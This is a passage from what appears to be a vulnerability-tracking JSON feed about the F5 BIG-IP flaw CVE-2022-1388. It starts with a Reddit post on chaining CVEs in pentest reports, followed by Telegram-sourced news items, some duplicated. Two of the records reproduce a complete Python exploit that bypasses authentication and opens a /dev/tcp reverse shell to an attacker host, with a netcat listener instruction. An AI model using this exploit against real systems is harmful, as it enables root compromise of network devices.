CVE-2022-1388 \u2014 F5 BIG-IP auth bypass \u2014 CVSS 9.8 CVE-2021-20016 \u2014 SonicWall SQL injection \u2014 CVSS 9.8 CVE-2023-20198 \u2014 Cisco IOS XE privilege escalation \u2014 CVSS 10.0 CVE-2023-28578 \u2014 Siemens SCALANCE memory corruption \u2014 CVSS 9.3 Team patched in CVSS order. The 10.0 first. Then the two 9.8s. Felt good. Sprint closed.\n The attacker used CVE-2024-24919. The 8.6. The one nobody rushed on. Because here is what the CVSS list does not show you.  CVE-2024-24919 leaks valid credentials from the Check Point VPN. Those credentials are exactly what CVE-2022-1388 needs to bypass F5 authentication. That bypass gives remote code execution , which is exactly what CVE-2021-20016 needs to pivot into the internal SonicWall.  From there CVE-2023-20198 is a single hop to full network control. Four CVEs. One chain.\n The entry point was the lowest score on the list. The 10.0 they patched first? Unreachable without the chain firing first.\n They patched the destination. Left the road open.\n For pentesters this is the actual conversation clients need to have. Not \"here are your critical CVEs.\"\n But \"here is the one CVE that if unpatched makes everything else reachable.\"  That is a completely different deliverable. And honestly clients act on it faster. Because it is one thing to hand someone a list of ten critical CVEs and watch their eyes glaze over. It is another thing entirely to say \"patch this one specific CVE this week and your attacker has no path in.\"  One CVE. One patch. Every route blocked. Question for the room: When you deliver a pentest report ,do your clients actually patch in the order you recommend, or do they go straight to the 9.8s regardless of what you tell them?    submitted by    /u/Silly_Stress4696  (https://www.reddit.com/user/Silly_Stress4696) \n [link] (https://i.redd.it/63tfd2oa53qg1)   [comments] (https://www.reddit.com/r/Pentesting/comments/1ryfyrz/is_it_helpful_if_your_pentest_report_looks_like/)", "creation_timestamp": "2026-09-03T00:00:35.005011Z"}, {"uuid": "2c48c7d8-bc9d-42c2-b38a-27924c5ab12c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "Telegram/V5hKn0oJ2nGQvFUOA8vMmIzpE0-LTzLZfzF3v7e7Ud5xOzo", "content": "", "creation_timestamp": "2026-09-03T00:00:53.944301Z"}, {"uuid": "ecad0f4e-3b45-4e5b-aa43-e40670e1b5c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "Telegram/cM227DVyGia-IhCb_dhSNoT4_7lvy6Nz1M7UPQD20JWnO-w", "content": "", "creation_timestamp": "2026-09-03T00:00:59.273212Z"}, {"uuid": "b4d8b96e-5411-4117-8df4-a09d2092faba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/108895", "content": "CVE-2022\u20131388 BIG-IP RCE Hunt\nhttps://systemweakness.com/cve-2022-1388-big-ip-rce-hunt-c319f6678a42?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-04T12:00:12.688573Z"}, {"uuid": "7d5271a7-aa73-474d-9160-59225cca6d3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/108897", "content": "BIG-IP is a type of computer system that helps manage and control the flow of information between different parts of a network. It acts\u2026Continue reading on System Weakness \u00bb (https://systemweakness.com/cve-2022-1388-big-ip-rce-hunt-c319f6678a42?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T12:00:12.599273Z"}, {"uuid": "4b4384e0-0f4f-4747-adb0-44228bade13e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/108897", "content": "BIG-IP is a type of computer system that helps manage and control the flow of information between different parts of a network. It acts\u2026Continue reading on System Weakness \u00bb (https://systemweakness.com/cve-2022-1388-big-ip-rce-hunt-c319f6678a42?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-05T01:00:29.541086Z"}, {"uuid": "99aea3ac-0862-46e6-a1bc-7e679e3451f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/108895", "content": "CVE-2022\u20131388 BIG-IP RCE Hunt\nhttps://systemweakness.com/cve-2022-1388-big-ip-rce-hunt-c319f6678a42?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-05T01:00:29.586120Z"}, {"uuid": "d6f5c725-0fa1-4d0c-be13-4ac835f00bf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/53217", "content": "Exploit Collector\nF5 BIG-IP 16.0.x Remote Code Execution\n\nhttps://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png \nF5 BIG-IP version 16.0.x remote code execution exploit.\n\nSHA-256 | f5638973e5c1c81d7b5bf21977de0671c9081697e4ab7ad0ccd0963b8abf883c\n\nDownload\n# Exploit Title: F5 BIG-IP 16.0.x - Remote Code Execution (RCE)\n# Exploit Author: Yesith Alvarez\n# Vendor Homepage: https://www.f5.com/products/big-ip-services\n# Version: 16.0.x \n# CVE : CVE-2022-1388\n\nfrom requests import Request, Session\nimport sys\nimport json\ndef title():\nprint('''\n\n_______      ________    ___   ___ ___  ___       __ ____   ___   ___ \n/ ____\\ \\    / /  ____|  |__ \\ / _ \\__ \\|__ \\     /_ |___ \\ / _ \\ / _ \\ \n| |     \\ \\  / /| |__ ______ ) | | | | ) |  ) |_____| | __) | (_) | (_) |\n| |      \\ \\/ / |  __|______/ /| | | |/ /  / /______| ||__ < > _ < > _ < \n| |____   \\  /  | |____    / /_| |_| / /_ / /_      | |___) | (_) | (_) |\n\\_____|   \\/   |______|  |____|\\___/____|____|     |_|____/ \\___/ \\___/ \nAuthor: Yesith Alvarez\nGithub: https://github.com/yealvarez\nLinkedin: https://www.linkedin.com/in/pentester-ethicalhacker/\n''') \n\ndef exploit(url, lhost, lport):\nurl = url + 'mgmt/tm/util/bash'\ndata = {\n\"command\":\"run\",\n\"utilCmdArgs\":\"-c 'bash -i >& /dev/tcp/\"+lhost+\"/\"+lport+\" 0>&1'\"\n\n}\nheaders = {\n'Authorization': 'Basic YWRtaW46', \n'Connection':'keep-alive, X-F5-Auth-Token',\n'X-F5-Auth-Token': '0'\n\n}\ns = Session()\nreq = Request('POST', url, json=data, headers=headers)\nprepped = req.prepare()\ndel prepped.headers['Content-Type']\nresp = s.send(prepped,\nverify=False,\ntimeout=15\n)\n#print(prepped.headers)\n#print(url)\n#print(resp.headers)\n#print(resp.json())\nprint(resp.status_code)\nif __name__ == '__main__':\ntitle()\nif(len(sys.argv) < 4):\nprint('[+] USAGE: python3 %s https://<target_url lhost lport\\n'%(sys.argv[0]))\nprint('[+] USAGE: python3 %s https://192.168.0.10 192.168.0.11 4444\\n'%(sys.argv[0]))\nprint('[+] Do not forget to run the listener: nc -lvp 4444\\n')\nexit(0)\nelse:\nexploit(sys.argv[1],sys.argv[2],sys.argv[3])\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-05T21:00:05.337572Z"}, {"uuid": "44d57db2-a55e-4a4c-8c20-93d5ff4be965", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/52813", "content": "Dark Reading: Attacks/Breaches\nHow to Check if Your F5 BIG-IP Device Is Vulnerable\n\nThis Tech Tip walks network administrators through the steps to address the latest critical remote code execution vulnerability (CVE-2022-1388) in F5's BIG-IP management interface.", "creation_timestamp": "2026-09-05T22:00:04.919198Z"}, {"uuid": "72f9b880-12cc-4db9-a037-68b08c8e2033", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/hacking_Attack/52773", "content": "Exploit Collector\nF5 BIG-IP Remote Code Execution\n\nhttps://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png \nF5 BIG-IP remote code execution proof of concept exploit that leverages the vulnerability identified in CVE-2022-1388.\n\nSHA-256 | 2c3224e25af9797e9d7139c7d759da88b2eae07b09d164c4bf3a7423cfb95c06\n\nDownload\n# F5 BIG-IP RCE exploitation (CVE-2022-1388)\n\nPOST (1): \n\nPOST /mgmt/tm/util/bash HTTP/1.1\nHost: \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T22:00:04.965292Z"}, {"uuid": "2d817de0-3b88-48e8-8934-c80fff4c8d38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/hacking_Attack/52713", "content": "Black Hat Ethical Hacking\nExploits created for critical F5 BIG-IP flaw, install patch immediately\n\nExploits created for critical F5 BIG-IP flaw, install patch immediatelyPost Views: 4 \nPremium Content\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Patreon-2.png Subscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nSecurity researchers are warning F5 BIG-IP admins to immediately install the latest security updates after creating exploits for a recently disclosed critical CVE-2022-1388 remote code execution vulnerability.\nLast week, F5 disclosed a new critical remote code execution in BIG-IP networking devices tracked as CVE-2022-1388. This vulnerability affects the BIG-IP iControl REST authentication component and allows remote threat actors to bypass authentication and execute commands on the device with elevated privileges.\n\nAs F5 BIG-IP devices are commonly used in the enterprise, this vulnerability is a significant risk as it would allow threat actors to exploit the bug to gain initial access to networks and then spread laterally to other devices.\n\nThese types of attacks could be used to steal corporate data or deploy ransomware on all of the network\u2019s devices.\nSee Also: Complete Offensive Security and Ethical Hacking Course https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Exploits easily createdThis weekend, cybersecurity researchers from Horizon3 and Positive Technologies were both able to create exploits for the new F5 BIG-IP vulnerability. They warned that all admins should immediately update their devices as soon as possible due to the trivial nature of the exploit.\nThe new F5 RCE vulnerability, CVE-2022-1388, is trivial to exploit. We spent some time chasing unrelated diffs within the newest version, but @jameshorseman2 ultimately got first blood. We'll release a POC next week to give more time for orgs to patch.#f5 #CyberSecurity pic.twitter.com/O1SivUE4vA\n\n\u2014 Horizon3 Attack Team (@Horizon3Attack) May 6, 2022\n\ud83d\udd25 We have reproduced the fresh CVE-2022-1388 in F5's BIG-IP.\n\nSuccessful exploitation could lead to RCE from an unauthenticated user.\n\nPatch ASAP! pic.twitter.com/WjlWtTgSVz\n\n\u2014 PT SWARM (@ptswarm) May 7, 2022\nSee Also: Attackers Use Event Logs to Hide Fileless Malware Zach Hanley, Chief Attack Engineer at Horizon3, told BleepingComputer that it took them only two days to discover the exploit and expect threat actors to begin exploiting devices soon. \n\n\u201cGiven that the mitigations released by F5 for CVE-2022-1388 were a very large hint at where to look when reversing the application, we expect that threat actors may have also discovered the root cause as well,\u201d Hanley told BleepingComputer via email.\n\n\u201cIt took the Horizon3.ai attack team of two security researchers two days to track down the root cause, so we fully expect by end of next week that this will be taken advantage of by threat actors.\u201d\n\nHanley also warned that the impact of this exploit would be significant as it allows threat actors to gain root access to the devices, which hackers will use for initial access to the corporate networks.\n\n\u201cThe saving grace here is that this vulnerability only affects the management side of the device, which should not be exposed to the internet,\u201d continued Hanley.\n\nHowever, Rapid7 researcher Jacob Baines tweeted\u00a0that there are still 2,500 devices exposed to the Internet, making this a substantial risk to the enterprise.\n\nHorizon3 says they will be publicly releasing their proof-of-concept exploit this week to push organizations to patch their devices.\nSee Also: OSINT Tool: MOSINT Install security updates immediately[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T22:00:05.017743Z"}, {"uuid": "effe4fc1-e0f4-4b7c-bfd3-4cf3be3c5386", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/52687", "content": "hacking: security in practice\nCVE-2022-1388: F5 Big-IP iControl REST Vulnerability Updates. Allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services.\n\nhttps://external-preview.redd.it/kGBa_VlxzlNMqNBs_5DoTOs2ZG-DvclbNjc0TwlwQW8.jpg?width=640&crop=smart&auto=webp&s=da51bb7b003631bb7c5f76dce6098dbc085df1f3 submitted by /u/Late_Ice_9288 \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T23:00:04.981716Z"}, {"uuid": "1bbcc99c-d2db-422c-b37c-156f12e62d22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/hacking_Attack/52713", "content": "Black Hat Ethical Hacking\nExploits created for critical F5 BIG-IP flaw, install patch immediately\n\nExploits created for critical F5 BIG-IP flaw, install patch immediatelyPost Views: 4 \nPremium Content\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/patreon-300x61.png https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Patreon-2.png Subscribe to Patreon to watch this episode.\nReading Time: 2 Minutes\nSecurity researchers are warning F5 BIG-IP admins to immediately install the latest security updates after creating exploits for a recently disclosed critical CVE-2022-1388 remote code execution vulnerability.\nLast week, F5 disclosed a new critical remote code execution in BIG-IP networking devices tracked as CVE-2022-1388. This vulnerability affects the BIG-IP iControl REST authentication component and allows remote threat actors to bypass authentication and execute commands on the device with elevated privileges.\n\nAs F5 BIG-IP devices are commonly used in the enterprise, this vulnerability is a significant risk as it would allow threat actors to exploit the bug to gain initial access to networks and then spread laterally to other devices.\n\nThese types of attacks could be used to steal corporate data or deploy ransomware on all of the network\u2019s devices.\nSee Also: Complete Offensive Security and Ethical Hacking Course https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Exploits easily createdThis weekend, cybersecurity researchers from Horizon3 and Positive Technologies were both able to create exploits for the new F5 BIG-IP vulnerability. They warned that all admins should immediately update their devices as soon as possible due to the trivial nature of the exploit.\nThe new F5 RCE vulnerability, CVE-2022-1388, is trivial to exploit. We spent some time chasing unrelated diffs within the newest version, but @jameshorseman2 ultimately got first blood. We'll release a POC next week to give more time for orgs to patch.#f5 #CyberSecurity pic.twitter.com/O1SivUE4vA\n\n\u2014 Horizon3 Attack Team (@Horizon3Attack) May 6, 2022\n\ud83d\udd25 We have reproduced the fresh CVE-2022-1388 in F5's BIG-IP.\n\nSuccessful exploitation could lead to RCE from an unauthenticated user.\n\nPatch ASAP! pic.twitter.com/WjlWtTgSVz\n\n\u2014 PT SWARM (@ptswarm) May 7, 2022\nSee Also: Attackers Use Event Logs to Hide Fileless Malware Zach Hanley, Chief Attack Engineer at Horizon3, told BleepingComputer that it took them only two days to discover the exploit and expect threat actors to begin exploiting devices soon. \n\n\u201cGiven that the mitigations released by F5 for CVE-2022-1388 were a very large hint at where to look when reversing the application, we expect that threat actors may have also discovered the root cause as well,\u201d Hanley told BleepingComputer via email.\n\n\u201cIt took the Horizon3.ai attack team of two security researchers two days to track down the root cause, so we fully expect by end of next week that this will be taken advantage of by threat actors.\u201d\n\nHanley also warned that the impact of this exploit would be significant as it allows threat actors to gain root access to the devices, which hackers will use for initial access to the corporate networks.\n\n\u201cThe saving grace here is that this vulnerability only affects the management side of the device, which should not be exposed to the internet,\u201d continued Hanley.\n\nHowever, Rapid7 researcher Jacob Baines tweeted\u00a0that there are still 2,500 devices exposed to the Internet, making this a substantial risk to the enterprise.\n\nHorizon3 says they will be publicly releasing their proof-of-concept exploit this week to push organizations to patch their devices.\nSee Also: OSINT Tool: MOSINT Install security updates immediately[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:15.043968Z"}, {"uuid": "6c489aeb-7cb7-4099-bba6-ece9b9ed00c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/hacking_Attack/52773", "content": "Exploit Collector\nF5 BIG-IP Remote Code Execution\n\nhttps://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png \nF5 BIG-IP remote code execution proof of concept exploit that leverages the vulnerability identified in CVE-2022-1388.\n\nSHA-256 | 2c3224e25af9797e9d7139c7d759da88b2eae07b09d164c4bf3a7423cfb95c06\n\nDownload\n# F5 BIG-IP RCE exploitation (CVE-2022-1388)\n\nPOST (1): \n\nPOST /mgmt/tm/util/bash HTTP/1.1\nHost: \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:14.996453Z"}, {"uuid": "2a199425-94f0-4c68-bc92-3878cc0f84af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/52687", "content": "hacking: security in practice\nCVE-2022-1388: F5 Big-IP iControl REST Vulnerability Updates. Allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services.\n\nhttps://external-preview.redd.it/kGBa_VlxzlNMqNBs_5DoTOs2ZG-DvclbNjc0TwlwQW8.jpg?width=640&crop=smart&auto=webp&s=da51bb7b003631bb7c5f76dce6098dbc085df1f3 submitted by /u/Late_Ice_9288 \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:14.844248Z"}, {"uuid": "ed1b4aea-36f6-490f-a629-bebc05841cd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/52813", "content": "Dark Reading: Attacks/Breaches\nHow to Check if Your F5 BIG-IP Device Is Vulnerable\n\nThis Tech Tip walks network administrators through the steps to address the latest critical remote code execution vulnerability (CVE-2022-1388) in F5's BIG-IP management interface.", "creation_timestamp": "2026-09-06T00:00:14.954591Z"}, {"uuid": "3ed8f81a-5a0f-448a-bbaf-93b17c63487b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/53217", "content": "Exploit Collector\nF5 BIG-IP 16.0.x Remote Code Execution\n\nhttps://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png \nF5 BIG-IP version 16.0.x remote code execution exploit.\n\nSHA-256 | f5638973e5c1c81d7b5bf21977de0671c9081697e4ab7ad0ccd0963b8abf883c\n\nDownload\n# Exploit Title: F5 BIG-IP 16.0.x - Remote Code Execution (RCE)\n# Exploit Author: Yesith Alvarez\n# Vendor Homepage: https://www.f5.com/products/big-ip-services\n# Version: 16.0.x \n# CVE : CVE-2022-1388\n\nfrom requests import Request, Session\nimport sys\nimport json\ndef title():\nprint('''\n\n_______      ________    ___   ___ ___  ___       __ ____   ___   ___ \n/ ____\\ \\    / /  ____|  |__ \\ / _ \\__ \\|__ \\     /_ |___ \\ / _ \\ / _ \\ \n| |     \\ \\  / /| |__ ______ ) | | | | ) |  ) |_____| | __) | (_) | (_) |\n| |      \\ \\/ / |  __|______/ /| | | |/ /  / /______| ||__ < > _ < > _ < \n| |____   \\  /  | |____    / /_| |_| / /_ / /_      | |___) | (_) | (_) |\n\\_____|   \\/   |______|  |____|\\___/____|____|     |_|____/ \\___/ \\___/ \nAuthor: Yesith Alvarez\nGithub: https://github.com/yealvarez\nLinkedin: https://www.linkedin.com/in/pentester-ethicalhacker/\n''') \n\ndef exploit(url, lhost, lport):\nurl = url + 'mgmt/tm/util/bash'\ndata = {\n\"command\":\"run\",\n\"utilCmdArgs\":\"-c 'bash -i >& /dev/tcp/\"+lhost+\"/\"+lport+\" 0>&1'\"\n\n}\nheaders = {\n'Authorization': 'Basic YWRtaW46', \n'Connection':'keep-alive, X-F5-Auth-Token',\n'X-F5-Auth-Token': '0'\n\n}\ns = Session()\nreq = Request('POST', url, json=data, headers=headers)\nprepped = req.prepare()\ndel prepped.headers['Content-Type']\nresp = s.send(prepped,\nverify=False,\ntimeout=15\n)\n#print(prepped.headers)\n#print(url)\n#print(resp.headers)\n#print(resp.json())\nprint(resp.status_code)\nif __name__ == '__main__':\ntitle()\nif(len(sys.argv) < 4):\nprint('[+] USAGE: python3 %s https://<target_url lhost lport\\n'%(sys.argv[0]))\nprint('[+] USAGE: python3 %s https://192.168.0.10 192.168.0.11 4444\\n'%(sys.argv[0]))\nprint('[+] Do not forget to run the listener: nc -lvp 4444\\n')\nexit(0)\nelse:\nexploit(sys.argv[1],sys.argv[2],sys.argv[3])\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-06T00:00:16.217649Z"}, {"uuid": "76a32a7a-ea17-46ed-94d7-b84da41af891", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "creation_timestamp": "2026-09-06T15:00:03.962637Z"}, {"uuid": "4abf2896-addf-4699-b392-8f59284a0882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "Telegram/43D4qhGTDojIu_KxnHISZ4eUxiWEszw-obZ3Am-s-rJ4mag", "content": "", "creation_timestamp": "2026-09-07T01:00:12.098183Z"}]}